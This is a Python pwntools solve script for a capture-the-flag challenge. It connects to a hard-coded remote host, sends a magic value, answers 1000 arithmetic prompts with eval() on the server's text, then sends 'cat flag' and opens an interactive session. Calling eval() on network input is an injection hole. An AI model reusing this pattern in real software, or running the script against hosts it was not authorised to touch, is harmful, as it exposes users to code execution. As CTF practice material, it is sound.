#!/usr/bin/env python3
from pwn import *

HOST = "140.110.112.77"
PORT = "2116"
FILENAME = "pwntools"

host = args.HOST or HOST
port = int(args.PORT or PORT)

exe = ELF(FILENAME)

gdbscript='''
break main
c
'''

def local():
    context.terminal = ['tmux','splitw','-h']
    context(log_level='debug')
    if args.GDB:
        return gdb.debug(exe.path, gdbscript)
    else:
        return process([exe.path])

def remote():
    io = connect(host, port)
    return io

start = local if args.LOCAL else remote

#==================================================
# Start pwn
#==================================================
io = start()

print(io.recvline())

io.send(p32(0x79487ff))

print(io.recvline())

for i in range(0, 1000):
    r = b'\x00'
    r = io.recvuntil('= ?')[:-3]

    io.sendline(str(eval(r)))

io.sendline('cat flag')
io.interactive()